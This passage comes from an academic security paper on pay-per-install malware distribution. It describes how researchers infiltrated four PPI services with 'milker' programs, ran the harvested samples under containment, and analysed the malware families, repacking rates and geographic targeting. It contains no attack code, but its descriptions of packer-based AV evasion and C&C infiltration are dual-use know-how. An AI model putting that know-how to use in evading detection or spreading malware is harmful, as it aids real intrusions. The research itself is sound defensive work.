bution to third parties called affiliates. When a provider
has affiliates, the provider acts as a middle man that sells
installs to the clients while buying installs from affili-
ates that specialize in some specific distribution method
(e.g., bundling malware with a benign program and dis-
tributing the bundle via file-sharing networks; drive-by-
download exploits; or social engineering). PPI providers
pay affiliates for each target host on which they execute
the provider’s downloader program. Once the down-
loader runs, it connects to the PPI provider to download
the client programs. If the PPI provider does the distri-
bution itself, we call the service a direct PPI service. If
the PPI provider runs an affiliate program, we call it an
affiliate PPI service.

In general, both reputable and not-so-reputable enti-
ties use PPI services. In this paper we focus on the use
of PPI services as a distribution mechanism for malware,
e.g., bots, trojans, fake AV software, and spyware. To
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avoid determining what constitutes malware, we limit the
scope of the paper to PPI services that perform (or al-
low their affiliates to perform) silent installs on the target
hosts, i.e., installations that lack the informed consent of
the owner of the system. Hereafter we use the term PPI
providers to refer exclusively to those providers that per-
form or facilitate silent installs.

2.1 The PPI Ecosystem

We describe the PPI ecosystem in terms of the transac-
tions that take place between clients and PPI providers,
and between PPI providers and their affiliates.

Clients. Clients profit from the malicious activities en-
abled by malware they want to deploy on target hosts,
such as click fraud, stealing user information (e.g., credit
card numbers, credentials), or selling software to the user
under false pretense (e.g., fake AV).

PPI providers allow clients to choose the geographic
distribution of target hosts. This distinction creates price
differentiation in the market due to varying demand for
machines in certain regions and varying target host sup-
ply. Clients pay only per unique install, i.e., for one in-
stallation of their program on a given target host.

PPI providers. PPI providers profit from installation
fees paid by the clients. PPI install rates vary from
$100–$180 for a thousand unique installs in the most
demanded regions (often the US and the UK, and more
recently other European nations), down to $7–$8 in the
least popular ones (predominantly Asia) [12, 13, 19]. In
this study, we observe PPI providers installing multiple
client programs on the same target host, and have not ob-
served attempts to secure exclusive use of a target host
on behalf of a client. Exclusivity of a host is difficult to
guarantee because a PPI provider cannot generally know
whether a target host already runs other malware (e.g.,
a rival PPI downloader that installs competitors of the
client program). In addition, it is very difficult for clients
to validate that the PPI service only installed their mal-
ware on a host.

Affiliate PPI services give their affiliates a PPI down-
loader program personalized with their unique affiliate
identifier. The service credits affiliates for executing their
specific PPI downloader on a target host. Affiliates only
receive credit for confirmed installs of their PPI down-
loader. The confirmation takes the form of the PPI down-
loader sending the personalized affiliate identifier to the
PPI provider after downloading and executing the client

programs. Thus, affiliates receive credit only after deliv-
ering the installs.

Affiliates. Affiliates profit from the installs performed on
behalf of the PPI provider, with the distribution method
remaining transparent to the clients. Affiliates might in
fact be botmasters that compromise hosts, install their
own malware, and then task their malware with down-
loading and installing the PPI downloaders as one means
for monetizing their botnet. When doing so, the bot-
master relinquishes exclusive control of the hosts in ex-
change for the install payments from the PPI service. The
same botmasters might work with multiple PPI providers
simultaneously to maximize the income from each bot,
installing multiple affiliate binaries on each of their hosts.

Indeed, the market has a somewhat fundamental
conflict-of-interest, in that the more installs a botmas-
ter/affiliate provides, the more payment they receive; but
each install degrades the quality of previous installs, be-
cause the likelihood of the owner of the system discern-
ing they have become infected, and remedying the situ-
ation, rises with the volume of malicious installs on the
system.

2.2 Evading Detection

AV software may detect and block any program in the
installation chain, making it difficult to sustain installs.
Therefore, providing stealthy executables is a key objec-
tive for both PPI providers and clients. In the PPI ecosys-
tem, clients are often in charge of making their programs
stealthy before giving them to the PPI provider, while af-
filiates rely upon the PPI provider to provide them with
a stealthy downloader.

To render programs stealthy, both PPI providers and
clients employ packer programs sold by third parties [21,
23]. Packers change the program content so that its sig-
nature (e.g., MD5 hash) differs even though the pro-
gram’s functionality has not changed. Sophisticated
packers may also change the program size and add de-
tection techniques for debuggers and virtual machines,
which are commonly used by analysts. PPI providers
have responsibility for packing the PPI downloaders for
each affiliate and testing that the resulting executable
remains undetected by AV software. In addition, PPI
providers instruct affiliates and clients not to test their
programs on free malware scanners [30, 32], because
these services often redistribute samples to AV ven-
dors. The vendors may then add new signatures to their
databases, thus uncloaking the programs. We analyze
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Figure 2: Brands used by the LoaderAdv PPI service
over time. The domains under each brand correspond
to known front-ends for affiliates.

how frequently clients repack their programs in Sec-
tion 4.2.

3 Infiltrating PPI Infrastructure

In this section, we first describe how we identified the
four PPI services we infiltrate, and evaluate our coverage
of the PPI ecosystem. We then explain the processing
pipeline we have developed for milking executables from
PPI services and classifying them.

3.1 Identifying PPI services

A good starting point for identifying PPI services to in-
filtrate is PPI forums [27, 28], which mainly serve as a
means for advertising affiliate PPI services to attract new
affiliates. General underground forums sometimes offer
the same advertisements. One challenge when study-
ing PPI services concerns how to identify the different
brands used by the same PPI service over time. We ap-
proached this task by analyzing public information, in-
cluding copies of any old front-ends [14], forums used
to advertise affiliate PPI services [27, 28], and previous
analysis by security analysts [7, 29].

We selected four affiliate PPI programs for infiltration:
LoaderAdv, GoldInstall, Virut, and Zlob. We use these
names to refer to the respective PPI services, regardless
of their branded program names over time. Figure 2 il-
lustrates such branding, employed by the LoaderAdv ser-
vice.

Our coverage. Several other PPI services exist that we
did not infiltrate. To get an idea of our coverage of the
malware ecosystem, we compare our malware harvest
with contemporary reports by the security industry. In
July 2010, FireEye posted the list of the top 20 malware
families they observed using their network during April–
June 2010 [22]. Table 1 correlates these 20 families with
the contents of our “milked” malware corpus for Au-
gust 2010. The column labeled kit designates families

NAME % MONETIZATION KIT SEEN

1 Palevo 7.50 DoS,Info stealer � �

2 Hiloti 4.69 Downloader/PPI �

3 Zbot 3.62 Info stealer � �

4 FakeRean 3.47 Rogue AV(s) �

5 Onlinegames 2.94 Info stealer ?
6 Rustock 2.66 Spam �

7 Ldpinch 2.64 Info stealer � ?
8 Renos 2.58 Rogue AV(s) ?
9 Zlob 2.54 Rogue software �

10 Autoit 2.53 Downloader/PPI
11 Conficker 2.48 Worm
12 Opachki 1.95 Click Fraud �

13 Buzus 1.91 Info stealer
14 Koobface 1.17 Downloader
15 Alureon 1.16 Downloader � �

16 Bredolab 1.15 Downloader/PPI � �

17 Piptea 1.13 Downloader/PPI �

18 Ertfor 0.91 Rogue AV(s) �

19 Virut 0.91 Downloader/PPI �

20 Storm 2.0 0.80 Spam

Table 1: FireEye’s top 20 malware families observed in
their MAX Cloud network on the April–June 2010 time
period [22] and whether we observe them in our milk for
August 2010.

that are crimeware kits, software that one can purchase
and customize in order to build botnet variants. Each kit
sold may represent an individual botnet with a separate
owner. For popular kits such as zbot, many distinct bot-
nets instances exist [33]. The column labeled seen indi-
cates whether we see samples of the family in our milk-
ing data. We milk 12 of the top 20 families, remain un-
sure about the phylogeny of 3, and miss 5 (AutoIt, Buzus,
Conficker, Koobface, Storm 2.0). We contacted FireEye
to inquire about the 3 unknown families, and based on
their response we believe they reflect generic tags used
by AV vendors, rather than specific families of malware.

3.2 “Milking” PPI Providers

This section starts the description of our milking opera-
tions. Figure 3 illustrates its architecture from milking
the executables until their classification.

PPI “milker” requirements. Each PPI service uses at
least one downloader program. A PPI downloader has
three main tasks to perform: download the client pro-
grams, execute them, and communicate successful in-
stallation to the PPI service for accounting. For each
downloader used by a PPI service that we infiltrated, we
built our own program that mimics the network com-
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Figure 3: Architecture of our PPI milking system. The milkers contact the PPI services through Tor and store the
executables for processing (�). We then use Bro to distill network traffic summaries from packet traces recorded for
each sample’s contained execution (�). A behavioral classifier then processes these summaries and stores clustering
and tagging results to a database (�).

munication used by the downloader to obtain the client
programs, but does not implement the rest of the down-
loader’s functionality, namely executing the client pro-
grams and accounting. In particular, we do our best to
identify and avoid any accounting communication to pre-
vent the PPI service from crediting an affiliate. We call
such programs milkers because we use them to milk the
client programs that the PPI provider distributes.

Although each PPI downloader program uses a differ-
ent method to download the client programs from the
PPI service, we observe two large classes. Basic PPI
downloaders use plain HTTP and have a set of hard-
coded URLs supplying client programs. The downloads
remain unencrypted and could be spotted easily by any
network monitoring device. The LoaderAdv and one of
the GoldInstall downloaders (GoldInstall-dl) belong to
this class. Advanced PPI downloaders have a propri-
etary, often encrypted, C&C protocol. These download-
ers first contact the C&C infrastructure to receive the list
of URLs supplying client programs. The Zlob, Virut, and
an alternative GoldInstall downloader (GoldInstall-list)
fall into this category. These downloaders still use HTTP
for the downloads, at times encrypting the executables or
disguising them as a benign file (e.g., by prefixing them
with a fake GIF header).

Building the milkers. Building a milker is most chal-
lenging for downloaders using undocumented C&C pro-
tocols and encryption routines. Our approach lever-
ages previously proposed techniques for automatic bi-
nary code reuse [5,16], which, given an executable, iden-
tify and extract parts of the executable related to a given
function or specific functionality defined by the analyst.
Our milker building process is semi-automatic because
we also manually decompile parts of the extracted binary
code. The final milker uses a mixture of C source code

and assembly instructions. For this project, building and
testing a basic milker required on average one day of full
work, while the advanced milkers required from two to
five days of work. It is worth noting that while build-
ing and testing the milker it is important to minimize the
amount of traffic exchanged with the real C&C servers,
which the PPI administrators may monitor. We learned
this the hard way when the Zlob PPI service banned one
of our computers during the testing phase. Moving to a
different IP address fixed the issue.

Updating the milkers. All PPI services frequently
change their download URLs to bypass blacklists. When
a PPI service changes its download URLs, our advanced
milkers simply download the updated list from the PPI
C&C infrastructure and keep milking. However, our ba-
sic milkers, which have the old download URLs hard-
coded, stop working until we update the URLs. To up-
date the download URLs for the basic milkers, we first
develop network signatures for the basic PPI download-
ers. Then, we use two different approaches. First, we use
the network signatures to look for new PPI downloaders
within the executables we milk. If we find a match, our
processing automatically extracts new URLs and adds
them to our basic milkers. In addition, we also periodi-
cally query search engines and repositories that perform
malware analysis [30] for any new traffic that matches
the network signatures. Due to the prevalence of the PPI
services in this study, we often find the new URLs in
public repositories immediately after URLs change.

Anonymity and geographical diversity. To provide
anonymity and geographical diversity for the milkers,
we route them, when possible, through Tor [31]. A
milker achieves geographical diversity by using 15 Tor
circuits in parallel, each circuit terminating in an exit
node in a different country. We chose these countries
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in accordance with different price points advertised by
PPI providers. We verify with the MaxMind GeoIP
database [20] that the exit node’s IP address indeed re-
sides in the desired country. For GoldInstall, Loader-
Adv, and Virut, we conduct all network communication
through Tor. We cannot access Zlob through Tor. We
suspect the Zlob operators blacklist the Tor exit nodes,
which are publicly known. To achieve geographical di-
versity for this provider, we run its milkers on Ama-
zon’s EC2 cloud [9] from hosts in two different coun-
tries, without using Tor. We discuss the targets and re-
sults of geographically diverse milking in Section 4.4.

3.3 Running the Executables

We run each new milked executable under containment
in the GQ malware farm [18], a platform for hosting all
manner of malware-driven research in safe, controlled
fashion. GQ confines each piece of malware in its ex-
ecution by a custom, manually created containment pol-
icy that allows us to decide per-flow whether to allow
traffic to interact with the outside, drop it, rewrite it, or
reflect it to other machines inside the environment. In our
scenario, the malware family and behavior is completely
unknown when we run a newly milked sample. Thus, we
create a containment policy that allows us to run all of
our samples safely, and to classify them based on their
network traffic.

We use this containment policy, called SinkAll, to au-
tomatically run thousands of executables, fully unsuper-
vised. This policy blocks network connections and redi-
rects them to internal sink servers within the farm. The
only traffic from the malware allowed on the Internet is
DNS. The reason for allowing DNS is to try to get the
malware sample to attempt C&C communication, since
part of our classification process (Section 3.4) examines
the traffic content. While our DNS sink server could
simply reply to all DNS requests with a valid response
that includes a fixed IP address, some malware sam-
ples resolve benign domains (e.g., microsoft.com,
google.com) and check the returned IP addresses
against a hard-coded list in the malware. Thus, our DNS
sink server proxies DNS requests and responses. If the
DNS response is a failure, the sink server spoofs a suc-
cessful DNS response with a fixed IP address to try to get
the malware to attempt C&C communication.

SinkAll forwards all non-DNS TCP traffic from the
malware to internal sink servers. For some well-known
protocols, e.g., HTTP and SMTP, these servers mimic
a valid session. This is important because some mal-

ware samples will test connectivity first using these pro-
tocols, and a valid session may entice them to attempt
C&C communication. All other TCP traffic goes to a
generic sink server that accepts arbitrary connections but
does not provide a response; it simply completes the TCP
handshake and accepts any data sent by the malware.

Finally, to detect anti-virtualization capabilities, sam-
ples that do not send any traffic are rerun on a bare (non-
virtualized) host, also within the farm. (This did not of-
ten make a difference in practice.)

3.4 Classifying the Executables

We classify executables based on the network traffic they
produce. First, we manually cluster them based on traf-
fic similarity and create a cluster signature. Then, when
possible, we tag clusters with names used by the com-
munity such as Rustock or Palevo.

Each run of a malware sample in the farm produces a
trace of its network communication. We process the net-
work trace with the Bro intrusion detection system [24],
using a number of custom analysis scripts we developed.
The scripts first check whether the sample generated any
network traffic at all. If it did not, then we queue the
executable for running on a bare host to check for anti-
virtualization techniques. If the sample did generate traf-
fic, we extract a number of features to characterize the
network traffic that we later use during clustering.

The first feature is the list of protocols used by the
sample. To extract this feature, we leverage Bro’s dy-
namic protocol detection capabilities, which detects traf-
fic for well-known protocols (e.g., DNS, HTTP, SMTP,
and IRC), regardless of the port with which the commu-
nication happens [8]. Another feature is the list of end-
points that communicate with the sample. For this, we
extract from the DNS traffic the domains requested by
the sample. If the sample starts a connection without a
previous DNS request, we also add the IP address it con-
tacts to the list of end-points. Another feature is the list
of TCP/UDP destination ports for connections started by
the sample. Finally, we extract a content feature from the
payload of any connection. For any HTTP request orig-
inated by the malware, the content feature is the method
and the list of parameters from the URL. We ignore the
path in the URL and the parameter values because they
tend to change often between samples. For other proto-
cols, the content feature is simply the first 16 bytes sent
by the malware.

We use the extracted features for clustering executa-
bles with similar network behaviors. In contrast to ex-
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MILKER DOWNLOADS DISTINCT START DATE

LoaderAdv 696,714 4,334 Aug 1, 2010
GoldInstall 361,325 4,488 Aug 1, 2010
Virut 4,841 72 Aug 1, 2010
Zlob 504 259 Jan 3, 2011
Total 1,060,895 9,153

Table 2: Number of downloads and distinct MD5s col-
lected from each PPI service, starting August 1, 2010
and ending February 1, 2010.

isting clustering systems for domain names [26], HTTP
requests [25], and similar communication patterns [11],
our system must accommodate any type of C&C, includ-
ing custom binary protocols. In this work we therefore
use our own, simple, clustering method, based primar-
ily on manual inspection, but forsee integrating other ap-
proaches as the need arises.

Our clustering first groups all executables with identi-
cal features into a single cluster, with the list of features
acting as the initial cluster signature. We then manually
merge similar clusters, assigning the new cluster a signa-
ture of simply the disjunction of the signatures of each
merged cluster. Using this process on the August 2010
milk, we identify 57 clusters. The cluster signatures vary
from a domain list—of limited value due to continual up-
dates to C&C domains—to binary and HTTP signatures
that prove more useful long-term.

For tagging, we prioritize clusters by the total number
of times we milked them. For each cluster we manually
check if we can find labeled traffic that matches the clus-
ter signature in public repositories and malware analysis
reports. If so, we change the cluster tag to match the pub-
licly available name. This process is painful due to the
disparity of names used for the same families (and bina-
ries) in the community. We were able to tag 35 of the
57 clusters. In Section 4.1 we describe the results from
our classification.

4 Insights into the PPI Business

We now present results from our infiltration by analyz-
ing the executables we collected. We began our milking
operations on August 1, 2010. As of February, 2011,
we downloaded 1,060,895 client executables, yielding
9,153 distinct binaries during approximately 6 months
of infiltration. The modest proportion (0.8%) of unique
executables arises due to our frequent milking, and the
fact that our geo-diverse milking frequently retrieves the
same executable from multiple locations. We began

FAMILY MILKED DIST. DAYS CLASS PPI
Rustock 61,017 15 31 spam L
LoaderAdv-ack 60,770 62 31 ppi L
CLUSTER: A 11,758 8 31 clickfraud G
Hiloti 10,045 43 31 ppi L
CLUSTER: B 8,194 9 31 ? G
Gleishug 7,620 15 31 clickfraud L
Nuseek 5,802 2 30 clickfraud G
Palevo2 16,101 21 29 botnet G,L
Securitysuite 15,403 100 29 fakeav L
Zbot 3,684 49 29 infosteal G,L
CLUSTER: D 5,723 1 28 ? G
SmartAdsSol. 18,317 6 26 adware L
Spyeye 4,522 16 25 infosteal G,L
Securitysuite-avm 4,732 45 20 fakeav L
Grum 2,974 54 20 spam G,L
Tdss 4,893 12 19 ppi G,L
Otlard 677 7 16 botnet G,L
Blackenergy1 1,135 15 15 ddos L
Palevo 2,594 2 14 botnet G
Harebot 1,617 13 14 botnet G,L,V

Table 3: Top 20 malware families we milked during Au-
gust 2010. The columns indicate the total number of
executables milked, distinct executables per family, the
number of days seen, the families’ general class, and
PPI services that distribute the family: LoaderAdv (L),
GoldInstall (G), Virut (V).

our infiltration with LoaderAdv, GoldInstall, and Virut,
adding Zlob in Jan. 2011. Table 2 shows the breakdown
of our harvest by PPI service. The download rate varies
across PPI providers since each PPI has a different num-
ber of endpoints to download malware and our milkers
access each through geo-diverse locations.

4.1 Family Classification

We developed a set of classification signatures and vetted
them based on extensive manual analysis of the 313,791
executables we milked during August 2010. These signa-
tures classify 92% of the total August downloads. If we
then apply these same signatures to milk from September
2010, the proportion matched only diminishes to 86%,
and for October 2010, 77%. Thus, in terms of classi-
fying the most prevalent downloads, the power of such
milk-derived signatures decays fairly slowly with time.
(Certainly we do expect their power to diminish, how-
ever, as PPI providers acquire new clients, and existing
clients release variants of their malware that no longer
manifest the behavior targeted by our signatures.)
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For the 8% of August downloads unmatched by our
signatures, we have assigned a general label reflecting
absence of any generated traffic. We manually evaluated
the behavior of 243 executables in this group and con-
firmed that the executables appear corrupted and do not
execute. We also ran most on bare hardware and con-
firmed that their failure to execute does not reflect anti-
virtualization checks.

While our signatures work quite effectively for classi-
fying the bulk of downloads, the picture changes if we in-
stead consider distinct binaries (only 0.6% of the overall
volume). For these, we classify only 36%. However, it
is unclear that this latter figure holds much significance:
a single malware specimen whose behavior we have not
specifically classified can account for a large number of
failures to classify distinct binaries if the specimen hap-
pens to be repacked frequently.

To examine the malware families distributed by each
PPI provider, we limit our discussion to the August 2010
milk. Since the distributed malware changes over time,
focusing on a single month facilitates a clear presentation
of our results, while still spanning a significant breadth
of activity. Table 3 lists the top 20 malware families we
milked during August 2010, the number of times milked,
the number of distinct executables, the number of days
we saw the family being dropped, the overall class for
the family’s predominant activity (“botnet” represents
generic malware platforms), and the different PPI ser-
vices that distributed the family.

Some of the malware families are crimeware kits
(Palevo2, Spyeye, Zbot, Bredolab), which means they
may be distributed by otherwise independent clients.
When computing statistics for individual clients, we thus
remove these kits to avoid potential aliasing. We observe
that out of the 20 malware families, 7 are distributed by
more than one PPI service. If we assume each (non-kit)
malware family belongs to one actor, the results show
that clients do not feel tied to a single PPI provider.

Distribution over time. Figure 4 shows distribution
timelines for each family we could label by activity class,
for August 2010. We visualize availability continuously
whenever a family was available at least once in three
hours. We make several observations. Programs push
clickbots at virtually all times, but DDoS platforms much
more sporadically. The latter perhaps reflects some sort
of Just-In-Time DDoS-for-hire service. With the ex-
ception of the GoldInstall-list downloader, we see PPI
downloaders pushed for weeks at a time. Spambots show
no uniform availability pattern: relatively short-lived
push-outs for Pushdo and Grum, but continual push-outs

DAYS TO REPACK

FAMILY # DISTINCT MEAN MIN MAX

Rustock 15 2.12 0.00 8.51
LoaderAdv-ack 62 2.21 0.00 7.14
CLUSTER: A 8 7.46 2.63 12.34
Hiloti 43 0.76 0.00 2.58
CLUSTER: B 9 4.42 0.34 23.62
Gleishug 15 3.57 0.00 8.60
Nuseek 2 14.08 5.04 23.13
Palevo2 21 1.77 0.00 10.15
Securitysuite 100 0.37 0.00 1.17
CLUSTER: D 1 28.22 28.22 28.22

Table 4: Repacking rates for the 10 most-milked fam-
ilies (Aug. 2010), excluding crimeware kits. The
columns show the number of distinct binaries and the
mean/minimum/maximum time to repack, in days. A
minimum time of zero means that one of the distinct ex-
ecutables appeared in only a single milking instance.

for Rustock. In the PPI setting, botmasters can afford
to push out their bots as convenient, which will keep
the installs relatively “silent”; by contrast, propagation
campaigns driven by social engineering (e.g., as used
by Storm [17]) require more careful design and timing.

4.2 Repacking Rate

The rate at which malware distributors repack their prod-
ucts reflects their concern about content-driven AV sig-
natures. In this section we analyze the repacking rate
for the client programs that we milk, which are typically
repacked by the client themselves. In addition, we de-
scribe how the Zlob service repacks their affiliate down-
loader binaries on-the-fly.

In the milk from August 2010, a malware family is
repacked on average at least once every 11 days. Ta-
ble 4 summarizes the individual repacking rate for the
top 10 families (excluding crimeware kits) milked in Au-
gust 2010. The data for the top 10 families shows that
they are repacked on average every 6.5 days. This indi-
cate that the top malware families are repacked more of-
ten than the average malware family. Among these fami-
lies, the most often repacked are Securitysuite (more than
twice a day) and Hiloti (at least once per day). CLUS-
TER:D has the slowest repacking rate, only 1 executable
was seen during the month, followed by Nuseek (2 exe-
cutables).

In Figure 5, we contrast the repacking of the Rustock
and Securitysuite families (with two variants of the lat-
ter) over the course of August. We plot distinct vari-
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Date

Fa
m

ily

Rustock
Pushdo

Grum
Opachki

Zlob
Tdss

Loaderadv−ack
Loaderadv

Hiloti
Goldinstall−list
Goldinstall−dl

Dailyppi
Bredolab

Zloader
Zbot

Spyeye
Securitysuite−avm

Securitysuite
Securityessentials

Avchecker
Antimalware−doctor

Votwup
Russkill

Canahom−MachBot
Blackenergy1

Nuseek
Gleishug

CLUSTER A
Sasfis

Palevo2
Palevo
Asprox

SmartAdsSolutions

08/01 08/03 08/05 08/07 08/09 08/11 08/13 08/15 08/17 08/19 08/21 08/23 08/25 08/27 08/29 08/31 09/02

Class
adware
botnet
clickfraud
ddos
fakeav
infosteal
ppi
searchfraud
spam

Figure 4: Malware family availability via infiltrated PPI services in August 2010. We only show families with a known
activity class.
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Figure 5: Repacking activity according to binary changes over time for the Securitysuite and Rustock families. Some
Securitysuite binaries detected virtualized execution; we separate these by color.
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ants on the y-axis, with entries ordered by first appear-
ance. Rustock changes executables less frequently, and
with little version overlap. Furthermore, the program
dropped Rustock during the whole month, while Secu-
ritysuite has more complex availability: Securitysuite-
avm, a Securitysuite subfamily with anti-VM capabil-
ities (for VMware, specifically), filled the availability
gaps when Securitysuite was not pushed out.1 In aggre-
gate, Securitysuite was thus likewise available through-
out, though with differing anti-VM capabilities. One
possible explanation is that the Securitysuite gang uses
two off-the-shelf packers, but only one provides anti-VM
capabilities.

Zlob affiliate downloader repacking. Unlike for the
malware that their clients provide, PPI providers typi-
cally repack affiliate downloader binaries on a periodic
basis and notify their affiliates to switch to the fresh
downloader [29]. We found that the Zlob service has in-
corporated a twist on this approach. They provide a web
service for affiliates to request a fresh binary, which, in-
terestingly, apparently repacks the affiliate binaries on-
the-fly. We requested the downloader for a single affili-
ate 27 consecutive times, resulting in 27 distinct, work-
ing Zlob binaries with identical sizes but differing MD5
hashes. Attackers could likewise apply such on-the-fly
packing to other areas, such as drive-by-downloads, to
create unique malware for each compromised host.

4.3 PPI Behavior

In this section we look at the behavior and distinct struc-
ture manifested by each PPI provider for managing their
downloads.

LoaderAdv. The LoaderAdv downloader has hard-
coded two domains and a set of file paths that it com-
bines with the two domains to create the URLs to locate
the malware executables. If we ignore the domain part
of the URL (the second domain is only used for redun-
dancy) we observe two classes of URLs: single-client
and multi-client. Single-client URLs always return the
same family of malware, while multi-client URLs cycle
through a set of clients that changed over the course of
our infiltration. These latter also yielded different down-
loads based on the geo-location of the milker’s IP ad-
dress, an aspect we examine further in Section 4.4.

Figure 6 shows the behavior of a single multi-client
URL as seen by our milkers. We show the different fami-

1Detecting the presence of Securitysuite-avm versus Securitysuite
was the only significant identification we obtained by using our “bare
metal” setup in addition to our VM-based execution environment.

lies in separate boxes, and the y-axis represents the coun-
tries involved. (The gaps on August 5 and 11 arise due
to failures of the milkers to connect through Tor.) As
we milk binaries from this URL, we typically see Se-
curitysuite or SmartAdsSolutions binaries. We also ob-
tain Zbot for a brief 11-hour period and GoldInstall-list
for about three days. During August 2010 our Loader-
Adv milker downloads malware from a total of 19 unique
URLs (ignoring the domains). Three of these are single-
client URLs only serving Rustock, while the remaining
16 drop malware matching 31 of our signatures.

GoldInstall. GoldInstall has two downloaders. The
GoldInstall-list downloader contacts the PPI C&C server
to obtain a list of URLs hosting the client executables.
The received list varies based on the geographic loca-
tion. Goldinstall-dl has a hard-coded list of URLs in the
binary that serve executables independent of geographic
location. Both the GoldInstall-list and GoldInstall-dl
downloaders fetch the executables using HTTP, with
each distinct URL representing a single family of mal-
ware. Often, the service hosts the same client executable
in multiple locations, with the path components of the
URL (such as 1.exe) remaining constant. When the
path is the same, typically so is the family of malware,
though we also observed common URL paths used for
multiple families (e.g., bot.exe). The download lo-
cations show no evidence of checking the geo-location
of the downloader before serving malware. Thus, the
GoldInstall-dl downloader does not download executa-
bles based on geographic location. Throughout the
month, the program periodically distributed new URLs
to the PPI executable, 41 total. These on average con-
tinued to return valid executables for 36 days after first
provided by the C&C (maximum 162 days, minimum 14
hours).

Virut. The Virut downloader uses a custom IRC-based
C&C protocol to receive a list of URLs hosting the client
executables. We observe a total of six distinct URLs
throughout August 2010, distributing 15 distinct executa-
bles matching signatures for three families. Four of the
URLs use a domain with the same whois entries as the
Virut C&C, and each URL can return a different exe-
cutable for each request.

Zlob. The Zlob downloader uses a custom encrypted
C&C protocol to request a list of URLs to locate client
programs. The received list varies based on the geo-
graphic location. The service replicates the list of URLs
so that every two received URLs correspond to one exe-
cutable, at two locations apparently for redundancy.



USENIX Association  20th USENIX Security Symposium 197

Date

C
ou

nt
ry

AT
DE
ES
FR
GB
GR

IT
KR
PT
US

AT
DE
ES
FR
GB
GR

IT
KR
PT
US

AT
DE
ES
FR
GB
GR

IT
KR
PT
US

AT
DE
ES
FR
GB
GR

IT
KR
PT
US

AT
DE
ES
FR
GB
GR

IT
KR
PT
US

| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |

| | | | | | | | | | | | | | | | | | | | | | |
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |

| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |
| | | | | | | | |

| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |
| | | | | | | | | | | | |
| | | | |

| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |

| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |

| | | | | | | | | | | | | | | | | | | | | | |
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |

| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |
| | | | | | | | |

| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |
| | | | | | | | | | | | |

| | | | |
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |

| | |
| | | |
| |

| | | |
|

| |
|

| | | |
| |

| | | | | | | | |

| | |
| | | |
| |

| | | |
|

| |
|

| | | |
| |

| | | | | | | | |

| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |

| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |

| | | | | | | | | | | | | | | |
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |

| | | | | | | | | | | | | | | | | | | | | | | | | | |
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |

| | | | | | | | | | | | | | | |

| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |

| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |

| | | | | | | | | | | | | | | |
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |

| | | | | | | | | | | | | | | | | | | | | | | | | | |
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |

| | | | | | | | | | | | | | | |

| | | | | | | | | | | | | | | | | | |
| | | | | | |
| | | | | | | | | | | | | | | | | | | |

| | | | | | | | | | | | | | | | | |
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |

| | | | | | | | | | | | | | | | |
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |

| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |

| | | | | | | | | | | | | | | | | | |
| | | | | | |

| | | | | | | | | | | | | | | | | | | |
| | | | | | | | | | | | | | | | | |

| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |

| | | | | | | | | | | | | | | | |
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |

| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |

| |
|

|
|

| |
|
| |

| |
|

|
|

| |
|
| |

08/01 08/03 08/05 08/07 08/09 08/11 08/13 08/15 08/17 08/19 08/21 08/23 08/25 08/27 08/29 08/31 09/02

em
pty

G
oldinstall−list

Securitysuite
Sm

artAdsSolutions
Zbot

Figure 6: Availability of malware families over time, from a single LoaderAdv URL. The empty family shows when
the URL provided a non-executable response.

4.4 Geographic Breakdown

To investigate the geographical preferences of the dif-
ferent malware families, we analyze the milk from the
LoaderAdv, GoldInstall, and Virut services, since as ex-
plained in Section 3.2 for these three services the milker
used 15 Tor circuits in parallel, each terminating in a
different country. We selected 15 countries using price
points advertised by PPI providers: AT, BR, DE, ES, FR,
GB, GR, IT, JP, KR, NL, PL, PT, RU, and US.

For most malware families we observe clear geograph-
ical preferences. Figure 7 shows the frequencies with
which we obtained a sample of the Ertfor, Gleishug,
